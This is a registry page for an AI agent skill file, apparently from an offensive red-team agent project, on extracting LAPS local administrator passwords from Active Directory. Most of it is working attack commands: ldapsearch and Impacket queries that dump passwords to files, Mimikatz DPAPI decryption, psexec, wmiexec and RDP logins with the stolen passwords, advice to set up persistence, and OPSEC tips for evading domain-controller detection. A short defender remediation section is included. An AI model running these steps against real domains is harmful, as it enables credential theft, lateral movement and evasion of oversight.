CtrlK
BlogDocsLog inGet started
Tessl Logo

laps

Extract LAPS-managed local administrator passwords from AD computer objects (ms-Mcs-AdmPwd / msLAPS-Password).

56

Quality

66%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/ad/laps/SKILL.md
SKILL.md
Quality
Evals
Security

LAPS Password Extraction

LAPS (Local Administrator Password Solution) stores randomized local admin passwords on computer objects in AD. Reading them requires ms-Mcs-AdmPwd (legacy) or msLAPS-Password (Windows LAPS) read permission — which is OFTEN over-delegated.

1. Detect LAPS deployment

# Legacy LAPS schema
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
  -b 'CN=Schema,CN=Configuration,DC=corp,DC=local' \
  '(name=ms-Mcs-AdmPwd)' name

# Windows LAPS (2023+)
ldapsearch ... '(name=msLAPS-Password)' name

# Either present = LAPS is deployed

2. Find delegated readers (your target ACL)

From BloodHound — anyone with ReadLAPSPassword edge:

MATCH (n)-[:ReadLAPSPassword]->(c:Computer)
RETURN DISTINCT n.name, c.name

Common over-delegation patterns:

  • "HelpDesk-LAPS-Read" groups granted to ALL computers
  • IT-Operations OUs reading their child OUs (then a flat OU = global)
  • Service accounts with GenericAll on Computer objects (implies LAPS read)

3. Read passwords (assuming you can)

# Direct LDAP query as authorized user
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
  -b 'DC=corp,DC=local' \
  '(&(objectClass=computer)(ms-Mcs-AdmPwd=*))' \
  name dNSHostName ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime > /tmp/laps.txt

# Windows LAPS uses encrypted attribute by default
ldapsearch ... \
  '(&(objectClass=computer)(msLAPS-EncryptedPassword=*))' \
  name dNSHostName msLAPS-EncryptedPassword msLAPS-Password

Impacket helper:

# Recovers legacy LAPS
GetLAPSPassword.py 'DOM/USER:PASS@DC_FQDN' \
  -outputfile /tmp/laps.csv

# Newer Windows LAPS w/ encryption: use python-windows-laps or
# manual ASN.1 decode w/ user's DPAPI key

4. Bulk-process result

laps_ingest("/tmp/laps.txt")

This adds:

kg_add_node(kind="credential", label="<host>\\Administrator:<plain>",
            props={"source":"laps","host":"<host>","expires":"<date>"})
kg_add_edge(src=<cred>, dst=<computer>, kind="local-admin")

5. Cracking encrypted LAPS (Windows LAPS only)

Windows LAPS (server 2022+) encrypts the password with a per-principal DPAPI key derived from the AD-stored public key. To decrypt:

  • You need either the authorized principal's DPAPI master key (from their profile via Mimikatz dpapi::masterkey), or
  • The recovery key configured via Set-LAPSADAuditing policy

If neither, the msLAPS-EncryptedPassword blob is useless without context.

6. Authentication with LAPS pw

# SMB / WMI as local admin
psexec.py 'HOST\\Administrator:LAPS_PW@10.0.0.5'
wmiexec.py 'HOST\\Administrator:LAPS_PW@10.0.0.5'

# RDP
xfreerdp /u:Administrator /p:'LAPS_PW' /v:10.0.0.5 +clipboard

NOTE: LAPS rotates on a schedule (default 30 days). Use the pw quickly and grab a more durable foothold (cached creds, scheduled task, service account hash).

OPSEC

  • LDAP search for ms-Mcs-AdmPwd attribute is event 4662 on DC with object type Computer and Properties referencing the AdmPwd GUID
  • Detection signature: 4662 reading large numbers of computer objects for the AdmPwd attribute = LAPS scrape in progress
  • Spread reads over time, scope by OU not domain-wide

CVSS

  • Anyone in domain reading any LAPS pw: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 7.5
  • Over-delegated to wide group reading hundreds of hosts: 9.0 (scope: Changed)

Defender remediation

# Audit who can read LAPS pw on a Computer object
Get-ACL "AD:CN=HOST,OU=Servers,DC=dom,DC=local" |
  Select -ExpandProperty Access |
  Where {$_.ObjectType -eq '<AdmPwd-GUID>'} |
  Format-Table IdentityReference, ActiveDirectoryRights

# Remove over-delegated readers
$acl = Get-ACL "AD:CN=HOST,..."
$ace = New-Object DirectoryServices.ActiveDirectoryAccessRule(
  'DOM\HelpDeskGroup', 'ExtendedRight', 'Deny',
  '<AdmPwd-GUID>', 'Descendents', '<Computer-GUID>')
$acl.AddAccessRule($ace)
Set-ACL -Path "AD:CN=HOST,..." -AclObject $acl

# Or use the LAPS-shipped audit cmdlet
Find-AdmPwdExtendedRights -Identity 'OU=Servers,DC=dom,DC=local'

Known exemplars

  • 2018: HelpDeskTier1 group granted ReadLAPS at domain root by accident → entire estate compromised
  • 2021: Tenable Nessus default service account had LAPS read via GenericAll
  • 2023: Multiple ManageEngine deployments over-delegated LAPS to "AssetMgmt" service account
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.